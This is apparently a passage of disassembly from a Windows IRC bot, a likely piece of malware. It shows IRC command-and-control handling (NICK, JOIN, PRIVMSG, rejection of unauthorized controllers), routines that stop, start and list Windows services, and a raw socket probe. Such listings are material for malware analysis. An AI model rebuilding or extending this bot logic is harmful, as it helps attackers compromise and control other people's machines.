		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset loc_41465C
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_412835


loc_412823:				; CODE XREF: seg000:00412833j
		cmp	[ebp-44Ch], ebx
		jnz	short loc_412850
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_412823
; ---------------------------------------------------------------------------


loc_412835:				; CODE XREF: seg000:00412821j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4333E0


loc_412841:				; CODE XREF: seg000:00410AB9j
					; seg000:0041158Bj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		add	esp, 0Ch


loc_412850:				; CODE XREF: seg000:0040F7B4j
					; seg000:0040F7D6j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B16D
		jmp	loc_40D408
; ---------------------------------------------------------------------------


loc_412861:				; CODE XREF: seg000:0040DDEBj
					; seg000:0040DE00j
		push	offset aEnz9_9bvcb34 ; "enz 9.9bvcb34"
		push	offset dword_4333BC


loc_41286B:				; CODE XREF: seg000:0041132Bj
					; seg000:0041163Fj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9


loc_412877:				; CODE XREF: seg000:00411FADj
		add	esp, 0Ch
		jmp	loc_40EF86
; ---------------------------------------------------------------------------


loc_41287F:				; CODE XREF: seg000:0040DDC1j
					; seg000:0040DDD6j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_4128DF
		push	esi
		call	sub_415A5F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4128D4
		cmp	eax, 2
		jge	short loc_4128D4
		mov	edx, [ebp+20h]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_4128C9
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_436500
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------


loc_4128C9:				; CODE XREF: seg000:004128A8j
		push	eax
		push	offset dword_43337C
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_4128D4:				; CODE XREF: seg000:00412893j
					; seg000:00412898j
		push	eax
		push	offset dword_43333C
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_4128DF:				; CODE XREF: seg000:00412888j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_4128E4:				; CODE XREF: seg000:00412900j
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412907
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_4128E4
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------


loc_412907:				; CODE XREF: seg000:004128F4j
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_436500
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_412921:				; CODE XREF: seg000:0040DD97j
					; seg000:0040DDACj
		push	dword ptr [ebp-90h]
		push	offset dword_436458
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412990
		call	sub_41515E
		push	ebx
		call	ds:dword_421114	; ExitProcess


loc_412943:				; CODE XREF: seg000:0040DD6Dj
					; seg000:0040DD82j
		push	dword ptr [ebp+esi-90h]
		xor	eax, eax
		cmp	[ebp-9A4h], bl
		setnz	al
		push	eax
		lea	eax, [ebp-564h]
		push	ds:dword_42C18C
		push	eax
		call	sub_414435
		lea	eax, [ebp-564h]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		lea	eax, [ebp-564h]
		push	eax
		push	offset dword_433304
		call	sub_40B1E1


loc_41298D:				; CODE XREF: seg000:0040F92Fj
		add	esp, 24h


loc_412990:				; CODE XREF: seg000:0040D4B1j
					; seg000:0040D4BDj ...
		mov	eax, [ebp+2Ch]
		jmp	loc_40D21C
; ---------------------------------------------------------------------------


loc_412998:				; CODE XREF: seg000:0040D96Dj
					; seg000:0040D982j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], esi
		jz	loc_40D219
		cmp	[ebp-98h], ebx
		jnz	loc_40D219
		push	offset dword_42F3C4
		push	dword ptr [ebp-94h]
		call	sub_416C98
		mov	esi, eax
		push	offset dword_438FC4
		push	ebx
		inc	esi
		call	sub_416C98
		push	offset asc_433300 ; "~"
		push	eax
		call	sub_416C98
		push	dword ptr [ebp+8]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_415910
		add	esp, 20h
		test	eax, eax
		jz	short loc_412A40
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		push	edi
		push	esi
		push	offset dword_433274


loc_412A2C:				; CODE XREF: seg000:00412A9Cj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		add	esp, 30h
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------


loc_412A40:				; CODE XREF: seg000:004129F3j
		mov	dword ptr [ebp+2Ch], offset off_42C244


loc_412A47:				; CODE XREF: seg000:00412A63j
		mov	eax, [ebp+2Ch]
		push	edi
		push	dword ptr [eax]
		call	sub_4152EE
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A9E
		add	dword ptr [ebp+2Ch], 4
		cmp	dword ptr [ebp+2Ch], offset off_42C248
		jl	short loc_412A47
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		push	edi
		push	esi
		push	offset dword_433234
		jmp	short loc_412A2C
; ---------------------------------------------------------------------------


loc_412A9E:				; CODE XREF: seg000:00412A56j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_412AA3:				; CODE XREF: seg000:00412ACDj
		cmp	[ebp+8], ebx
		jz	loc_40D219
		cmp	[edi], bl
		jnz	short loc_412AC3
		push	dword ptr [ebp+8]
		push	offset aHi	; "hi"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412AD4


loc_412AC3:				; CODE XREF: seg000:00412AAEj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_412AA3
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_412AD4:				; CODE XREF: seg000:00412AC1j
		shl	esi, 7
		add	esi, [ebp+20h]
		lea	eax, [ebp-0A94h]
		push	7Fh
		push	eax
		push	esi
		call	sub_416D40
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_412B0B
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_433200
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 14h


loc_412B0B:				; CODE XREF: seg000:00412AEFj
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_4331CC
		jmp	loc_40D402
; ---------------------------------------------------------------------------


loc_412B1C:				; CODE XREF: seg000:0040D063j
					; seg000:0040D078j
		push	dword ptr [ebp+18h]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		push	offset aXI	; "+x+i"
		push	dword ptr [ebp+18h]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		add	esp, 2Ch
		mov	ds:dword_468988, edi
		jmp	loc_40D0F2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B62	proc near		; CODE XREF: sub_412B9A+125p
					; sub_412B9A+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_412B90


loc_412B73:				; CODE XREF: sub_412B62+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417930
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_412B96
		inc	esi
		cmp	esi, edi
		jl	short loc_412B73


loc_412B90:				; CODE XREF: sub_412B62+Fj
		xor	al, al


loc_412B92:				; CODE XREF: sub_412B62+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_412B96:				; CODE XREF: sub_412B62+27j
		mov	al, 1
		jmp	short loc_412B92
sub_412B62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B9A	proc near		; CODE XREF: sub_4033CB+8Bp
					; sub_4033CB+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_415D70
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_412BDB
		dec	eax
		jz	short loc_412BB9
		dec	eax


loc_412BB3:				; CODE XREF: sub_412B9A+57j
		xor	eax, eax


loc_412BB5:				; CODE XREF: sub_412B9A+3Fj
					; sub_412B9A+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_412BB9:				; CODE XREF: sub_412B9A+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	ds:dword_43A3C8
		push	eax
		call	sub_4076EE
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_412BB5
; ---------------------------------------------------------------------------


loc_412BDB:				; CODE XREF: sub_412B9A+13j
		push	6
		push	1
		push	2
		call	ds:dword_43A408
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_412BB3
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	ds:dword_43A388
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A05B
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43A330
		cmp	eax, edi
		jz	loc_412CF7
		push	ebx
		push	48h
		push	offset dword_436578
		push	esi
		call	ds:dword_43A3D8
		cmp	eax, edi
		jz	loc_412CF7
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43A3A0
		cmp	eax, edi
		jz	loc_412CF7
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_412CF7
		push	ebx
		push	18h
		push	offset dword_4365C4
		push	[ebp+arg_4]
		call	ds:dword_43A3D8
		cmp	eax, edi
		jz	short loc_412CF7
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43A3A0
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_412CF7
		cmp	[ebp+var_200E],	2
		jnz	short loc_412CF7
		push	10h
		push	offset dword_4365E0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_412B62
		add	esp, 10h
		test	al, al
		jz	short loc_412CD7
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_412CF7
; ---------------------------------------------------------------------------


loc_412CD7:				; CODE XREF: sub_412B9A+12Fj
		push	10h
		push	offset dword_4365F4
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_412B62
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_412CF7:				; CODE XREF: sub_412B9A+9Bj
					; sub_412B9A+B2j ...
		push	[ebp+arg_4]
		call	ds:dword_43A420
		mov	eax, ebx
		pop	ebx
		jmp	loc_412BB5
sub_412B9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D08	proc near		; CODE XREF: sub_40CCDD+3Dp
					; seg000:0040D020p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41748F
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3D8
		leave
		retn
sub_412D08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D4E	proc near		; CODE XREF: start+88p
					; seg000:004014BDp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_412D69
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_412D69:				; CODE XREF: sub_412D4E+14j
		push	edi
		call	sub_415CF0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_415CF0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_436608
		push	eax
		call	sub_4154E9
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3D8
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_412DE7
		push	7D0h
		call	ds:dword_421060	; Sleep

locret_412DE7:				; CODE XREF: sub_412D4E+8Cj
		leave
		retn
sub_412D4E	endp


; =============== S U B	R O U T	I N E =======================================



sub_412DE9	proc near		; CODE XREF: seg000:loc_40ED61p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_412E4E
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	ds:dword_436620[esi]
		push	edi
		push	eax
		call	sub_412E70
		add	esp, 14h
		test	eax, eax
		jnz	short loc_412E31
		push	edi
		push	ds:off_43661C[esi]
		mov	esi, offset dword_469050
		push	offset dword_436754
		push	esi
		call	sub_4154E9
		add	esp, 10h
		jmp	short loc_412E6B
; ---------------------------------------------------------------------------


loc_412E31:				; CODE XREF: sub_412DE9+2Aj
		push	eax
		call	sub_412F12
		push	eax
		push	edi
		mov	esi, offset dword_469050
		push	offset dword_436718
		push	esi
		call	sub_4154E9
		add	esp, 14h
		jmp	short loc_412E6B
; ---------------------------------------------------------------------------


loc_412E4E:				; CODE XREF: sub_412DE9+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_469050
		push	ds:off_436618[eax*4]
		push	offset dword_4366E0
		push	esi
		call	sub_4154E9
		add	esp, 0Ch


loc_412E6B:				; CODE XREF: sub_412DE9+46j
					; sub_412DE9+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_412DE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E70	proc near		; CODE XREF: sub_412DE9+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	ds:dword_43A37C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_412E97
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_412F0C
; ---------------------------------------------------------------------------


loc_412E97:				; CODE XREF: sub_412E70+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_43A270
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_412EB7
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_412F04
; ---------------------------------------------------------------------------


loc_412EB7:				; CODE XREF: sub_412E70+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_412EEA
		cmp	eax, 3
		jz	short loc_412EDB
		jle	short loc_412EFD
		cmp	eax, 6
		jg	short loc_412EFD
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	ds:dword_43A2D8
		jmp	short loc_412EF1
; ---------------------------------------------------------------------------


loc_412EDB:				; CODE XREF: sub_412E70+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	ds:dword_43A278
		jmp	short loc_412EF1
; ---------------------------------------------------------------------------


loc_412EEA:				; CODE XREF: sub_412E70+4Dj
		push	esi
		call	ds:dword_43A2DC


loc_412EF1:				; CODE XREF: sub_412E70+69j
					; sub_412E70+78j
		test	eax, eax
		jnz	short loc_412EFD
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax


loc_412EFD:				; CODE XREF: sub_412E70+54j
					; sub_412E70+59j ...
		push	esi
		call	ds:dword_43A28C


loc_412F04:				; CODE XREF: sub_412E70+45j
		push	edi
		call	ds:dword_43A28C
		pop	esi


loc_412F0C:				; CODE XREF: sub_412E70+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_412E70	endp


; =============== S U B	R O U T	I N E =======================================



sub_412F12	proc near		; CODE XREF: sub_412DE9+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_412FC7
		jz	loc_412FC0
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_412F8A
		jz	short loc_412F80
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_412F76
		dec	ecx
		dec	ecx
		jz	short loc_412F6C
		dec	ecx
		jz	short loc_412F62
		sub	ecx, 51h
		jz	short loc_412F58
		sub	ecx, 24h
		jnz	loc_41303D	; default
					; jumptable 00412FE4 cases 1,5,6,8,9,12,13,15,16


loc_412F4E:				; DATA XREF: seg002:off_42B81Co
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_41302F
; ---------------------------------------------------------------------------


loc_412F58:				; CODE XREF: sub_412F12+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_41302F
; ---------------------------------------------------------------------------


loc_412F62:				; CODE XREF: sub_412F12+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_41302F
; ---------------------------------------------------------------------------


loc_412F6C:				; CODE XREF: sub_412F12+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_41302F
; ---------------------------------------------------------------------------


loc_412F76:				; CODE XREF: sub_412F12+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_41302F
; ---------------------------------------------------------------------------


loc_412F80:				; CODE XREF: sub_412F12+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_41302F
; ---------------------------------------------------------------------------


loc_412F8A:				; CODE XREF: sub_412F12+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_412FB9
		dec	ecx
		jz	short loc_412FB2
		dec	ecx
		jz	short loc_412FAB
		dec	ecx
		jnz	loc_41303D	; default
					; jumptable 00412FE4 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_41302F
; ---------------------------------------------------------------------------


loc_412FAB:				; CODE XREF: sub_412F12+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_41302F
; ---------------------------------------------------------------------------


loc_412FB2:				; CODE XREF: sub_412F12+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_41302F
; ---------------------------------------------------------------------------


loc_412FB9:				; CODE XREF: sub_412F12+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_41302F
; ---------------------------------------------------------------------------


loc_412FC0:				; CODE XREF: sub_412F12+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_41302F
; ---------------------------------------------------------------------------


loc_412FC7:				; CODE XREF: sub_412F12+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_41303D ; default
					; jumptable 00412FE4 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_41302A
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_41303D ; default
					; jumptable 00412FE4 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_41307E[ecx]
		jmp	ds:off_413056[ecx*4] ; switch jump


loc_412FEB:				; DATA XREF: seg000:off_413056o
		push	offset aTheSpecifiedDa ; jumptable 00412FE4 case 7
		jmp	short loc_41302F
; ---------------------------------------------------------------------------


loc_412FF2:				; CODE XREF: sub_412F12+D2j
					; DATA XREF: seg000:off_413056o
		push	offset aTheServiceDepe ; jumptable 00412FE4 case 17
		jmp	short loc_41302F
; ---------------------------------------------------------------------------


loc_412FF9:				; CODE XREF: sub_412F12+D2j
					; DATA XREF: seg000:off_413056o
		push	offset aTheServiceDe_0 ; jumptable 00412FE4 case 10
		jmp	short loc_41302F
; ---------------------------------------------------------------------------


loc_413000:				; CODE XREF: sub_412F12+D2j
					; DATA XREF: seg000:off_413056o
		push	offset aTheServiceHasB ; jumptable 00412FE4 case 0
		jmp	short loc_41302F
; ---------------------------------------------------------------------------


loc_413007:				; CODE XREF: sub_412F12+D2j
					; DATA XREF: seg000:off_413056o
		push	offset aTheSpecified_0 ; jumptable 00412FE4 case 2
		jmp	short loc_41302F
; ---------------------------------------------------------------------------


loc_41300E:				; CODE XREF: sub_412F12+D2j
					; DATA XREF: seg000:off_413056o
		push	offset aTheServiceCoul ; jumptable 00412FE4 case 11
		jmp	short loc_41302F
; ---------------------------------------------------------------------------


loc_413015:				; CODE XREF: sub_412F12+D2j
					; DATA XREF: seg000:off_413056o
		push	offset aTheServiceHa_0 ; jumptable 00412FE4 case 14
		jmp	short loc_41302F
; ---------------------------------------------------------------------------


loc_41301C:				; CODE XREF: sub_412F12+D2j
					; DATA XREF: seg000:off_413056o
		push	offset aTheRequested_1 ; jumptable 00412FE4 case 3
		jmp	short loc_41302F
; ---------------------------------------------------------------------------


loc_413023:				; CODE XREF: sub_412F12+D2j
					; DATA XREF: seg000:off_413056o
		push	offset aTheServiceHasN ; jumptable 00412FE4 case 4
		jmp	short loc_41302F
; ---------------------------------------------------------------------------


loc_41302A:				; CODE XREF: sub_412F12+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_41302F:				; CODE XREF: sub_412F12+41j
					; sub_412F12+4Bj ...
		push	offset dword_468990
		call	sub_4154E9
		pop	ecx
		pop	ecx
		jmp	short loc_413050
; ---------------------------------------------------------------------------


loc_41303D:				; CODE XREF: sub_412F12+36j
					; sub_412F12+89j ...
		push	eax		; default
					; jumptable 00412FE4 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_468990
		call	sub_4154E9
		add	esp, 0Ch


loc_413050:				; CODE XREF: sub_412F12+129j
		mov	eax, offset dword_468990
		retn
sub_412F12	endp

; ---------------------------------------------------------------------------
off_413056	dd offset loc_413000	; DATA XREF: sub_412F12+D2r
		dd offset loc_413007	; jump table for switch	statement
		dd offset loc_41301C
		dd offset loc_413023
		dd offset loc_412FEB
		dd offset loc_412FF9
		dd offset loc_41300E
		dd offset loc_413015
		dd offset loc_412FF2
		dd offset loc_41303D
byte_41307E	db	0,     9,     1,     2 ; DATA XREF: sub_412F12+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413090	proc near		; CODE XREF: seg000:0040ED8Cp

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	ds:dword_43A37C
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_4130C8:				; CODE XREF: sub_413090+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	ds:dword_43A348
		test	eax, eax
		jnz	short loc_413102
		call	ds:dword_421088	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_4131B6


loc_413102:				; CODE XREF: sub_413090+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_4131AD
		lea	esi, [ebp+var_188]


loc_413113:				; CODE XREF: sub_413090+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_41315C
		dec	eax
		jz	short loc_413155
		dec	eax
		jz	short loc_41314E
		dec	eax
		jz	short loc_413147
		dec	eax
		jz	short loc_413140
		dec	eax
		jz	short loc_413139
		dec	eax
		jz	short loc_413132
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_413161
; ---------------------------------------------------------------------------


loc_413132:				; CODE XREF: sub_413090+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_413161
; ---------------------------------------------------------------------------


loc_413139:				; CODE XREF: sub_413090+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_413161
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413090+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_413161
; ---------------------------------------------------------------------------


loc_413147:				; CODE XREF: sub_413090+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_413161
; ---------------------------------------------------------------------------


loc_41314E:				; CODE XREF: sub_413090+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_413161
; ---------------------------------------------------------------------------


loc_413155:				; CODE XREF: sub_413090+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_413161
; ---------------------------------------------------------------------------


loc_41315C:				; CODE XREF: sub_413090+87j
		push	offset aStopped	; "    Stopped"


loc_413161:				; CODE XREF: sub_413090+A0j
					; sub_413090+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4154E9
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_413113


loc_4131AD:				; CODE XREF: sub_413090+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_4130C8


loc_4131B6:				; CODE XREF: sub_413090+6Cj
		push	[ebp+var_C]
		call	ds:dword_43A28C
		xor	eax, eax
		pop	edi
